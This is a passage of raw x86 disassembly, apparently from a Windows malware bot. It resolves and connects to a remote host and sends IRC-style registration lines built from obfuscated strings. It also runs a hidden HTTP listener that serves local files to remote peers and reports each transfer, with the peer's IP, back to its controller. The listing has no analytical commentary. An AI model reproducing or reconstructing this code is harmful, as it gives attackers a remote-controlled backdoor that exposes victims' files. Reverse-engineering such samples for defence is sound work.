[ebp+var_1AC] push ebx ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1AC] add esp, 10h lea edx, [eax+1] loc_417E3A: ; CODE XREF: sub_41783D+602j mov cl, [eax] inc eax test cl, cl jnz short loc_417E3A loc_417E41: ; CODE XREF: sub_41783D+572j ; sub_41783D+5D6j sub eax, edx push 100h lea esi, [ebp+var_72C] mov ebx, offset byte_425021 mov byte ptr [ebp+eax+var_1AC], 0 call sub_4196D1 pop ecx lea eax, [ebp+var_62C] mov ecx, esi call sub_419044 test eax, eax jnz short loc_417E7A cmp byte ptr [ebp+Str], al jz short loc_417EEE loc_417E7A: ; CODE XREF: sub_41783D+633j xor edi, edi cmp byte ptr [ebp+Str], 0 lea eax, [ebp+Dest] jz short loc_417E92 push offset asc_4202BC ; ";" jmp short loc_417E97 ; --------------------------------------------------------------------------- loc_417E92: ; CODE XREF: sub_41783D+64Cj push offset asc_4202C0 ; ";" loc_417E97: ; CODE XREF: sub_41783D+653j push eax ; Str call _strtok jmp short loc_417EB3 ; --------------------------------------------------------------------------- loc_417E9F: ; CODE XREF: sub_41783D+67Aj push offset asc_4202C4 ; ";" push 0 ; Str mov [ebp+edi*4+var_10F34], eax call _strtok inc edi loc_417EB3: ; CODE XREF: sub_41783D+660j test eax, eax pop ecx pop ecx jnz short loc_417E9F xor esi, esi test edi, edi jle short loc_417EEE loc_417EBF: ; CODE XREF: sub_41783D+6AFj push [ebp+esi*4+var_10F34] ; Str lea eax, [ebp+var_1AC] push eax ; int lea eax, [ebp+var_62C] push eax ; int lea eax, [ebp+var_78] push eax ; int push [ebp+Str] ; int push [ebp+var_10734] ; int call sub_417676 inc esi cmp esi, edi jl short loc_417EBF loc_417EEE: ; CODE XREF: sub_41783D+2E1j ; sub_41783D+32Dj ... mov al, 1 loc_417EF0: ; CODE XREF: sub_41783D+25Dj mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn 4 sub_41783D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F01 proc near ; CODE XREF: .text:0041C039p var_20414 = dword ptr -20414h Dest = dword ptr -20410h var_2040C = dword ptr -2040Ch var_20408 = byte ptr -20408h Str = byte ptr -408h var_407 = byte ptr -407h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 20414h call __alloca_probe mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov esi, 3FFh xor ebx, ebx push esi ; size_t lea eax, [ebp+var_407] mov edi, ecx push ebx ; int push eax ; void * mov [ebp+var_20414], edi mov [ebp+Str], bl call _memset add esp, 0Ch push ebx push esi lea eax, [ebp+Str] push eax push dword ptr [edi] mov [ebp+var_2040C], ebx call ds:dword_41D270 ; recv test eax, eax jz loc_418016 lea eax, [ebp+Str] lea edx, [eax+1] loc_417F69: ; CODE XREF: sub_417F01+6Dj mov cl, [eax] inc eax cmp cl, bl jnz short loc_417F69 sub eax, edx mov [ebp+eax+Str], bl lea eax, [ebp+Str] push offset asc_420238 ; "\r\n" push eax ; Str call _strtok push 20000h ; size_t mov edi, eax lea eax, [ebp+var_20408] push ebx ; int push eax ; void * call _memset add esp, 14h cmp edi, ebx mov esi, 200h jz short loc_417FEC lea eax, [ebp+var_20408] mov [ebp+Dest], eax loc_417FB6: ; CODE XREF: sub_417F01+E9j push edi push offset aS_18 ; "%s" push 1FFh ; Count push [ebp+Dest] ; Dest call __snprintf push offset asc_420240 ; "\r\n" push ebx ; Str call _strtok add [ebp+Dest], esi add esp, 18h inc [ebp+var_2040C] mov edi, eax cmp edi, ebx jnz short loc_417FB6 loc_417FEC: ; CODE XREF: sub_417F01+A7j cmp [ebp+var_2040C], ebx jle short loc_418012 mov ebx, [ebp+var_2040C] lea edi, [ebp+var_20408] loc_418000: ; CODE XREF: sub_417F01+10Fj push [ebp+var_20414] mov ecx, edi call sub_41783D add edi, esi dec ebx jnz short loc_418000 loc_418012: ; CODE XREF: sub_417F01+F1j mov al, 1 jmp short loc_418020 ; --------------------------------------------------------------------------- loc_418016: ; CODE XREF: sub_417F01+59j push dword ptr [edi] call ds:dword_41D224 ; closesocket xor al, al loc_418020: ; CODE XREF: sub_417F01+113j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_417F01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41802F proc near ; CODE XREF: .text:0041C027p var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = byte ptr -448h var_447 = byte ptr -447h var_444 = byte ptr -444h var_443 = byte ptr -443h var_440 = word ptr -440h var_43E = word ptr -43Eh var_43C = byte ptr -43Ch var_430 = byte ptr -430h var_42F = byte ptr -42Fh var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_24 = byte ptr -24h var_23 = byte ptr -23h Args = byte ptr -18h var_17 = byte ptr -17h Dest = byte ptr -0Ch var_B = byte ptr -0Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 454h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi push 0 push 1 mov edi, ecx push 2 mov [ebp+var_450], edi mov ebx, edx mov [ebp+var_44C], eax call ds:dword_41D27C ; socket cmp eax, 0FFFFFFFFh mov [edi], eax jnz short loc_418079 push eax loc_41806C: ; CODE XREF: sub_41802F+8Bj call ds:dword_41D224 ; closesocket xor al, al jmp loc_41828B ; --------------------------------------------------------------------------- loc_418079: ; CODE XREF: sub_41802F+3Aj push 1FFh ; size_t lea eax, [ebp+var_22F] push 0 ; int push eax ; void * mov [ebp+var_230], 0 call _memset add esp, 0Ch push 200h lea esi, [ebp+var_230] call sub_4196D1 pop ecx mov eax, esi push eax call ds:dword_41D23C ; gethostbyname mov esi, eax xor ebx, ebx cmp esi, ebx jnz short loc_4180BC loc_4180B8: ; CODE XREF: sub_41802F+E7j push dword ptr [edi] jmp short loc_41806C ; --------------------------------------------------------------------------- loc_4180BC: ; CODE XREF: sub_41802F+87j push 200h ; size_t lea eax, [ebp+var_230] push ebx ; int push eax ; void * call _memset movsx eax, word ptr [esi+0Ah] add esp, 0Ch push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp+var_43C] push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 0Ch push [ebp+arg_4] mov [ebp+var_440], 2 call ds:dword_41D278 ; htons mov [ebp+var_43E], ax push 10h lea eax, [ebp+var_440] push eax push dword ptr [edi] call ds:dword_41D240 ; connect test eax, eax jnz short loc_4180B8 mov eax, [ebp+var_44C] lea edx, [eax+1] ; char loc_418121: ; CODE XREF: sub_41802F+F7j mov cl, [eax] ; unsigned int inc eax cmp cl, bl jnz short loc_418121 sub eax, edx jz short loc_418197 xor eax, eax mov [ebp+Args], bl lea edi, [ebp+var_17] stosd push 1FFh ; size_t stosd lea eax, [ebp+var_42F] push ebx ; int push eax ; void * mov [ebp+var_430], bl call _memset mov ebx, [ebp+var_44C] add esp, 0Ch push 200h lea esi, [ebp+var_430] call sub_4196D1 pop ecx push 9 lea esi, [ebp+Args] mov ebx, offset asc_425531 ; "ÅÔÆÆ" call sub_4196D1 mov edi, [ebp+var_450] pop ecx lea eax, [ebp+var_430] push eax mov eax, esi push eax ; Args push offset aSS_5 ; "%s %s\r\n" call sub_4172CC add esp, 0Ch xor ebx, ebx loc_418197: ; CODE XREF: sub_41802F+FBj xor eax, eax mov [ebp+var_24], bl lea edi, [ebp+var_23] stosd stosd xor eax, eax mov [ebp+var_30], bl lea edi, [ebp+var_2F] stosd stosd xor eax, eax mov [ebp+Dest], bl lea edi, [ebp+var_B] stosd stosw xor eax, eax push ebx mov [ebp+var_448], bl lea edi, [ebp+var_447] stosw push 3 mov [ebp+var_444], bl lea edi, [ebp+var_443] pop ecx lea esi, [ebp+var_448] stosw call sub_418E51 pop ecx push ebx push 3 lea esi, [ebp+var_444] call sub_418E1F xor eax, eax lea edi, [ebp+Dest] stosd stosw stosb mov eax, esi push eax lea eax, [ebp+var_448] push eax push offset aSS_6 ; "%s-%s" lea eax, [ebp+Dest] push 6 ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 1Ch lea esi, [eax+1] loc_41821E: ; CODE XREF: sub_41802F+1F4j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41821E sub eax, esi mov [ebp+eax+Dest], bl xor eax, eax lea edi, [ebp+var_448] stosw stosb xor eax, eax lea edi, [ebp+var_444] stosw push 9 lea esi, [ebp+var_24] mov ebx, offset asc_425528 ; "ÛÜÖÞ" stosb call sub_4196D1 pop ecx push 9 lea esi, [ebp+var_30] mov ebx, offset asc_42553A ; "ÀÆÐÇ" call sub_4196D1 mov edi, [ebp+var_450] pop ecx lea ebx, [edi+5] call sub_41748B push ebx lea eax, [ebp+Dest] push eax mov eax, esi push eax push ebx lea eax, [ebp+var_24] push eax ; Args push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" call sub_4172CC add esp, 18h mov al, 1 loc_41828B: ; CODE XREF: sub_41802F+45j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn 8 sub_41802F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41829C proc near ; CODE XREF: sub_418301+3Ep var_10 = dword ptr -10h Args = byte ptr -0Ch var_B = byte ptr -0Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov [ebp+var_10], eax xor eax, eax mov [ebp+Args], 0 lea edi, [ebp+var_B] push 5 lea esi, [ebp+Args] mov ebx, offset asc_425528 ; "ÛÜÖÞ" stosd call sub_4196D1 mov ebx, [ebp+var_10] pop ecx add ebx, 5 call sub_41748B push ebx mov eax, esi push eax ; Args push offset aSS_7 ; "%s %s\r\n" mov edi, offset dword_4269BC call sub_4172CC mov ecx, [ebp+var_4] add esp, 0Ch pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn 4 sub_41829C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_418301 proc near ; DATA XREF: .text:0041BF7Co push ebp mov ebp, esp and esp, 0FFFFFFF8h push esi push edi call sub_418DA0 mov edi, dword_426598 mov esi, dword_42659C loc_41831A: ; CODE XREF: sub_418301+5Aj call sub_418DA0 cmp dword_42659C, esi jl short loc_418344 jg short loc_418331 cmp dword_426598, edi jbe short loc_418344 loc_418331: ; CODE XREF: sub_418301+26j cmp byte_4269C0, 0 jz short loc_418344 push offset dword_4269BC call sub_41829C loc_418344: ; CODE XREF: sub_418301+24j ; sub_418301+2Ej ... mov edi, dword_426598 mov esi, dword_42659C push 0C350h call ds:dword_41D0FC ; Sleep jmp short loc_41831A sub_418301 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41835D proc near ; CODE XREF: sub_418AEB+1Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push offset word_426694 push dword_4267AC mov [ebp+var_4], 10h call ds:dword_41D234 ; accept leave retn sub_41835D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41837F(char *Str) sub_41837F proc near ; CODE XREF: sub_418552+1D2p Str = dword ptr 4 jmp short loc_418384 ; --------------------------------------------------------------------------- loc_418381: ; CODE XREF: sub_41837F+14j mov byte ptr [eax], 5Ch loc_418384: ; CODE XREF: sub_41837Fj push 2Fh ; Val push [esp+4+Str] ; Str call _strchr test eax, eax pop ecx pop ecx jnz short loc_418381 retn sub_41837F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418396(char *Str) sub_418396 proc near ; CODE XREF: sub_418552+192p var_C = byte ptr -0Ch var_8 = dword ptr -8 Dest = byte ptr -4 var_2 = byte ptr -2 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+Str] mov eax, esi push edi lea ecx, [eax+1] loc_4183A7: ; CODE XREF: sub_418396+16j mov dl, [eax] inc eax test dl, dl jnz short loc_4183A7 sub eax, ecx inc eax push eax ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov ebx, eax push ebx ; void * call __msize push eax ; size_t push 0 ; int push ebx ; void * call _memset push 25h ; Val push esi ; Str call _strchr add esp, 1Ch test eax, eax jnz short loc_418420 loc_4183D7: ; CODE XREF: sub_418396+114j mov eax, esi mov edx, esi loc_4183DB: ; CODE XREF: sub_418396+4Aj mov cl, [eax] inc eax test cl, cl jnz short loc_4183DB mov edi, ebx sub eax, edx dec edi loc_4183E7: ; CODE XREF: sub_418396+57j mov cl, [edi+1] inc edi test cl, cl jnz short loc_4183E7 mov ecx, eax shr ecx, 2 mov esi, edx mov edx, [ebp+Str] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov edi, edx stosd mov eax, ebx sub edx, ebx loc_41840B: ; CODE XREF: sub_418396+7Dj mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_41840B xor esi, esi inc esi jmp loc_4184B1 ; --------------------------------------------------------------------------- loc_41841D: ; CODE XREF: sub_418396+10Ej mov eax, [ebp+var_8] loc_418420: ; CODE XREF: sub_418396+3Fj mov byte ptr [eax], 0 mov ecx, esi loc_418425: ; CODE XREF: sub_418396+94j mov dl, [ecx] inc ecx test dl, dl jnz short loc_418425 sub ecx, esi mov edi, ebx mov edx, ecx dec edi loc_418433: ; CODE XREF: sub_418396+A3j mov cl, [edi+1] inc edi test cl, cl jnz short loc_418433 mov ecx, edx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 inc eax push 2 ; Count push eax ; Source mov [ebp+var_8], eax lea eax, [ebp+Dest] push eax ; Dest rep movsb call _strncpy lea eax, [ebp+var_C] push eax lea eax, [ebp+Dest] push offset asc_4204B4 ; "%x" push eax ; char * mov [ebp+var_2], 0 call _sscanf add esp, 18h test eax, eax jz short loc_4184AF mov eax, ebx lea esi, [eax+1] loc_41847B: ; CODE XREF: sub_418396+EAj mov cl, [eax] inc eax test cl, cl jnz short loc_41847B mov cl, [ebp+var_C] sub eax, esi mov esi, [ebp+var_8] add esi, 2 push 25h ; Val push esi ; Str mov [eax+ebx], cl mov byte ptr [eax+ebx+1], 0 call _strchr test eax, eax pop ecx pop ecx mov [ebp+var_8], eax jnz loc_41841D jmp loc_4183D7 ; --------------------------------------------------------------------------- loc_4184AF: ; CODE XREF: sub_418396+DEj xor esi, esi loc_4184B1: ; CODE XREF: sub_418396+82j push ebx ; Memory call j_j__free pop ecx pop edi mov eax, esi pop esi pop ebx leave retn sub_418396 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184BF proc near ; CODE XREF: sub_418552+A1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov [eax], esi mov eax, [ebp+arg_4] push edi mov [eax], esi mov eax, [ebp+arg_8] push offset asc_42049C ; "\r\n" push esi ; Str mov [ebx], esi mov [eax], esi call _strstr mov edi, eax test edi, edi pop ecx pop ecx jnz short loc_4184EB loc_4184E7: ; CODE XREF: sub_4184BF+52j ; sub_4184BF+69j ... xor eax, eax jmp short loc_41854F ; --------------------------------------------------------------------------- loc_4184EB: ; CODE XREF: sub_4184BF+26j push offset asc_4204A0 ; " " push esi ; Str mov byte ptr [edi], 0 call _strtok mov ecx, [ebp+arg_0] push offset asc_4204A4 ; " " push 0 ; Str mov [ecx], eax call _strtok add esp, 10h test eax, eax mov [ebx], eax jz short loc_4184E7 push offset asc_4204A8 ; " " push 0 ; Str call _strtok test eax, eax pop ecx pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jz short loc_4184E7 mov ecx, [ebp+arg_8] lea eax, [edi+2] cmp byte ptr [eax], 0 mov [ecx], eax jz short loc_41854C push offset asc_4204AC ; "\r\n\r\n" push eax ; Str call _strstr test eax, eax pop ecx pop ecx jz short loc_4184E7 mov byte ptr [eax+2], 0 loc_41854C: ; CODE XREF: sub_4184BF+76j xor eax, eax inc eax loc_41854F: ; CODE XREF: sub_4184BF+2Aj pop edi pop ebp retn sub_4184BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=0CA8h sub_418552 proc near ; CODE XREF: sub_418AEB+28p var_D28 = dword ptr -0D28h Str = dword ptr -0D24h Memory = dword ptr -0D20h var_D1C = dword ptr -0D1Ch var_D18 = byte ptr -0D18h var_D14 = byte ptr -0D14h var_D13 = byte ptr -0D13h var_D12 = byte ptr -0D12h var_D11 = byte ptr -0D11h var_D08 = byte ptr -0D08h var_D07 = byte ptr -0D07h Dest = byte ptr -908h var_907 = byte ptr -907h var_508 = byte ptr -508h var_507 = byte ptr -507h Str2 = byte ptr -108h var_107 = byte ptr -107h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-0CA8h] sub esp, 0D28h mov eax, dword_423064 xor eax, ebp mov [ebp+0CA8h+var_4], eax push ebx push esi mov esi, 3FFh xor ebx, ebx push esi ; size_t lea eax, [ebp+0CA8h+var_907] push ebx ; int push eax ; void * mov [ebp+0CA8h+Dest], bl call _memset push esi ; size_t lea eax, [ebp+0CA8h+var_507] push ebx ; int push eax ; void * mov [ebp+0CA8h+var_508], bl call _memset push 103h ; size_t lea eax, [ebp+0CA8h+var_107] push ebx ; int push eax ; void * mov [ebp+0CA8h+Str2], bl call _memset push esi ; size_t lea eax, [ebp+0CA8h+var_D07] push ebx ; int push eax ; void * mov [ebp+0CA8h+var_D08], bl call _memset add esp, 30h push ebx push 400h lea eax, [ebp+0CA8h+var_D08] push eax push [ebp+0CA8h+arg_0] call ds:dword_41D270 ; recv mov [ebp+eax+0CA8h+var_D08], bl lea eax, [ebp+0CA8h+var_D1C] push eax lea eax, [ebp+0CA8h+Memory] push eax lea eax, [ebp+0CA8h+var_D28] push eax lea ebx, [ebp+0CA8h+Str] lea esi, [ebp+0CA8h+var_D08] call sub_4184BF add esp, 0Ch test eax, eax jz loc_418AD4 mov esi, [ebp+0CA8h+var_D28] push edi push 4 mov edi, offset aGet ; "GET" pop ecx xor eax, eax repe cmpsb jz loc_4186E0 push offset aQue? ; "Que?" mov esi, 3FFh lea eax, [ebp+0CA8h+Dest] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+Dest] add esp, 0Ch lea edx, [eax+1] loc_41863C: ; CODE XREF: sub_418552+EFj mov cl, [eax] inc eax test cl, cl jnz short loc_41863C sub eax, edx xor ebx, ebx mov [ebp+eax+0CA8h+Dest], bl lea eax, [ebp+0CA8h+Dest] lea ecx, [eax+1] loc_418657: ; CODE XREF: sub_418552+10Aj mov dl, [eax] inc eax cmp dl, bl jnz short loc_418657 sub eax, ecx push eax push offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"... lea eax, [ebp+0CA8h+var_508] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+var_508] add esp, 10h lea ecx, [eax+1] loc_41867F: ; CODE XREF: sub_418552+132j mov dl, [eax] inc eax cmp dl, bl jnz short loc_41867F sub eax, ecx mov [ebp+eax+0CA8h+var_508], bl lea eax, [ebp+0CA8h+var_508] lea ecx, [eax+1] loc_418698: ; CODE XREF: sub_418552+14Bj mov dl, [eax] inc eax cmp dl, bl jnz short loc_418698 mov esi, ds:dword_41D228 push ebx sub eax, ecx push eax lea eax, [ebp+0CA8h+var_508] push eax push [ebp+0CA8h+arg_0] call esi ; send lea eax, [ebp+0CA8h+Dest] lea ecx, [eax+1] loc_4186C1: ; CODE XREF: sub_418552+174j mov dl, [eax] inc eax cmp dl, bl jnz short loc_4186C1 push ebx sub eax, ecx push eax lea eax, [ebp+0CA8h+Dest] push eax push [ebp+0CA8h+arg_0] call esi ; send jmp loc_418AC7 ; --------------------------------------------------------------------------- loc_4186E0: ; CODE XREF: sub_418552+C1j mov edi, [ebp+0CA8h+Str] push edi ; Str call sub_418396 test eax, eax pop ecx jz loc_418AD3 mov eax, edi lea edx, [eax+1] loc_4186F7: ; CODE XREF: sub_418552+1AAj mov cl, [eax] inc eax test cl, cl jnz short loc_4186F7 sub eax, edx cmp eax, 1 jbe loc_418849 inc edi push 2Fh ; Val push edi ; Str call _strchr mov esi, eax xor ebx, ebx cmp esi, ebx pop ecx pop ecx jz loc_4187A6 mov [esi], bl inc esi push esi ; Str call sub_41837F push ebx ; Val push esi ; Str call _strchr add esp, 0Ch cmp [esi], bl jz short loc_41876F cmp byte ptr [eax-1], 5Ch jz short loc_41876F push esi push edi push offset dword_4266A8 push offset aSSS_2 ; "%s\\%s\\%s" lea eax, [ebp+0CA8h+Str2] push 103h ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+Str2] add esp, 18h lea esi, [eax+1] loc_418766: ; CODE XREF: sub_418552+219j mov cl, [eax] inc eax cmp cl, bl jnz short loc_418766 jmp short loc_4187D5 ; --------------------------------------------------------------------------- loc_41876F: ; CODE XREF: sub_418552+1E3j ; sub_418552+1E9j push offset dword_4268B8 push esi push edi push offset dword_4266A8 push offset aSSSS ; "%s\\%s\\%s%s" lea eax, [ebp+0CA8h+Str2] push 103h ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+Str2] add esp, 1Ch lea esi, [eax+1] loc_41879D: ; CODE XREF: sub_418552+250j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41879D jmp short loc_4187D5 ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_418552+1C8j push edi push offset dword_4266A8 push offset aSS_8 ; "%s\\%s" lea eax, [ebp+0CA8h+Str2] push 103h ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+Str2] add esp, 14h lea esi, [eax+1] loc_4187CE: ; CODE XREF: sub_418552+281j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4187CE loc_4187D5: ; CODE XREF: sub_418552+21Bj ; sub_418552+252j sub eax, esi mov [ebp+eax+0CA8h+Str2], bl lea eax, [ebp+0CA8h+Str2] push eax ; Str2 push offset Str1 ; Str1 call __stricmp test eax, eax pop ecx pop ecx jz short loc_41884B mov esi, 200h push esi ; Size call _malloc push esi ; size_t mov edi, eax push ebx ; int push edi ; void * mov [ebp+0CA8h+Memory], edi call _memset add esp, 10h push offset aQue?_0 ; "Que?" push edi ; void * call __msize pop ecx dec eax push eax ; Count push edi ; Dest call __snprintf mov eax, edi add esp, 0Ch lea esi, [eax+1] loc_41882C: ; CODE XREF: sub_418552+2DFj mov cl, [eax] inc eax cmp cl, bl jnz short loc_41882C sub eax, esi mov [eax+edi], bl mov eax, edi lea esi, [eax+1] loc_41883D: ; CODE XREF: sub_418552+2F0j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41883D jmp loc_41892E ; --------------------------------------------------------------------------- loc_418849: ; CODE XREF: sub_418552+1B1j xor ebx, ebx loc_41884B: ; CODE XREF: sub_418552+2A1j push ebx push ebx push 3 push ebx push 1 push 80000000h lea eax, [ebp+0CA8h+Str2] push eax call ds:dword_41D06C ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0CA8h+Str], esi jz short loc_4188DF push ebx push esi call ds:dword_41D070 ; GetFileSize mov edi, eax push edi ; Size mov [ebp+0CA8h+var_D1C], edi call _malloc push edi ; size_t push ebx ; int push eax ; void * mov [ebp+0CA8h+Memory], eax call _memset add esp, 10h push ebx push ebx push ebx push esi mov esi, ds:dword_41D074 call esi ; SetFilePointer push ebx lea eax, [ebp+0CA8h+var_D28] push eax push edi mov edi, ds:dword_41D078 jmp short loc_4188D1 ; --------------------------------------------------------------------------- loc_4188A9: ; CODE XREF: sub_418552+389j cmp [ebp+0CA8h+var_D28], ebx jnz loc_418933 push [ebp+0CA8h+var_D1C] ; size_t push ebx ; int push [ebp+0CA8h+Memory] ; void * call _memset add esp, 0Ch push ebx push ebx push ebx push [ebp+0CA8h+Str] call esi ; SetFilePointer push ebx lea eax, [ebp+0CA8h+var_D28] push eax push [ebp+0CA8h+var_D1C] loc_4188D1: ; CODE XREF: sub_418552+355j push [ebp+0CA8h+Memory] push [ebp+0CA8h+Str] call edi ; ReadFile test eax, eax jnz short loc_4188A9 jmp short loc_418933 ; --------------------------------------------------------------------------- loc_4188DF: ; CODE XREF: sub_418552+31Aj mov esi, 200h push esi ; Size call _malloc push esi ; size_t mov edi, eax push ebx ; int push edi ; void * mov [ebp+0CA8h+Memory], edi call _memset add esp, 10h push offset aQue?_1 ; "Que?" push edi ; void * call __msize pop ecx dec eax push eax ; Count push edi ; Dest call __snprintf mov eax, edi add esp, 0Ch lea esi, [eax+1] loc_418916: ; CODE XREF: sub_418552+3C9j mov cl, [eax] inc eax cmp cl, bl jnz short loc_418916 sub eax, esi mov [eax+edi], bl mov eax, edi lea esi, [eax+1] loc_418927: ; CODE XREF: sub_418552+3DAj mov cl, [eax] inc eax cmp cl, bl jnz short loc_418927 loc_41892E: ; CODE XREF: sub_418552+2F2j sub eax, esi mov [ebp+0CA8h+var_D1C], eax loc_418933: ; CODE XREF: sub_418552+35Aj ; sub_418552+38Bj push 400h ; size_t lea eax, [ebp+0CA8h+var_508] push ebx ; int push eax ; void * call _memset push [ebp+0CA8h+var_D1C] lea eax, [ebp+0CA8h+var_508] push offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"... push 3FFh ; Count push eax ; Dest call __snprintf lea eax, [ebp+0CA8h+var_508] add esp, 1Ch lea esi, [eax+1] loc_41896A: ; CODE XREF: sub_418552+41Dj mov cl, [eax] inc eax cmp cl, bl jnz short loc_41896A sub eax, esi mov [ebp+eax+0CA8h+var_508], bl lea eax, [ebp+0CA8h+var_508] lea esi, [eax+1] loc_418983: ; CODE XREF: sub_418552+436j mov cl, [eax] inc eax cmp cl, bl jnz short loc_418983 sub eax, esi mov esi, ds:dword_41D228 push ebx push eax lea eax, [ebp+0CA8h+var_508] push eax push [ebp+0CA8h+arg_0] call esi ; send test eax, eax jz loc_418ABE push ebx push [ebp+0CA8h+var_D1C] push [ebp+0CA8h+Memory] push [ebp+0CA8h+arg_0] call esi ; send test eax, eax jz loc_418ABE lea eax, [ebp+0CA8h+Str2] push eax ; Str2 push offset Str1 ; Str1 call __stricmp test eax, eax pop ecx pop ecx jnz loc_418ABE push 100h ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov esi, eax push esi ; void * call __msize push eax mov ebx, offset dword_424ED0 call sub_4196D1 xor eax, eax lea edi, [ebp+0CA8h+var_D18] stosd stosd stosd add esp, 0Ch stosd lea eax, [ebp+0CA8h+Str] push eax lea eax, [ebp+0CA8h+var_D18] push eax push [ebp+0CA8h+arg_0] mov [ebp+0CA8h+Str], 10h call ds:dword_41D248 ; getpeername movzx eax, [ebp+0CA8h+var_D11] movzx ecx, [ebp+0CA8h+var_D12] shl eax, 8 add eax, ecx movzx ecx, [ebp+0CA8h+var_D13] shl eax, 8 add eax, ecx movzx ecx, [ebp+0CA8h+var_D14] shl eax, 8 add eax, ecx push 2 mov [ebp+0CA8h+var_D1C], eax push 4 lea eax, [ebp+0CA8h+var_D1C] push eax call ds:dword_41D280 ; gethostbyaddr test eax, eax push dword_433940 jnz short loc_418A86 movzx eax, [ebp+0CA8h+var_D11] push eax movzx eax, [ebp+0CA8h+var_D12] push eax movzx eax, [ebp+0CA8h+var_D13] push eax movzx eax, [ebp+0CA8h+var_D14] push eax ; Args push offset aHttpTransferD_ ; "HTTP: Transfer: %d.%d.%d.%d (N/A). %d T"... push esi ; int push 0 ; char push offset dword_4269BC ; int call sub_417361 add esp, 24h jmp short loc_418AB1 ; --------------------------------------------------------------------------- loc_418A86: ; CODE XREF: sub_418552+507j push dword ptr [eax] movzx eax, [ebp+0CA8h+var_D11] push eax movzx eax, [ebp+0CA8h+var_D12] push eax movzx eax, [ebp+0CA8h+var_D13] push eax movzx eax, [ebp+0CA8h+var_D14] push eax ; Args push offset aHttpTransfer_0 ; "HTTP: Transfer: %d.%d.%d.%d (%s). %d To"... push esi ; int push 0 ; char push offset dword_4269BC ; int call sub_417361 add esp, 28h loc_418AB1: ; CODE XREF: sub_418552+532j inc dword_433940 push esi ; Memory call j_j__free pop ecx loc_418ABE: ; CODE XREF: sub_418552+453j ; sub_418552+46Aj ... push [ebp+0CA8h+Memory] ; Memory call _free pop ecx loc_418AC7: ; CODE XREF: sub_418552+189j push [ebp+0CA8h+arg_0] call ds:dword_41D224 ; closesocket loc_418AD3: ; CODE XREF: sub_418552+19Aj pop edi loc_418AD4: ; CODE XREF: sub_418552+ABj mov ecx, [ebp+0CA8h+var_4] pop esi xor ecx, ebp pop ebx call sub_402710 add ebp, 0CA8h leave retn sub_418552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AEB proc near ; DATA XREF: sub_418C40+27o arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 401h jz short loc_418AFE pop ebp jmp ds:dword_41D200 ; --------------------------------------------------------------------------- loc_418AFE: ; CODE XREF: sub_418AEB+Aj mov eax, [ebp+arg_C] dec eax jz short loc_418B10 sub eax, 7 jnz short loc_418B19 call sub_41835D jmp short loc_418B19 ; --------------------------------------------------------------------------- loc_418B10: ; CODE XREF: sub_418AEB+17j push [ebp+arg_8] call sub_418552 pop ecx loc_418B19: ; CODE XREF: sub_418AEB+1Cj ; sub_418AEB+23j xor 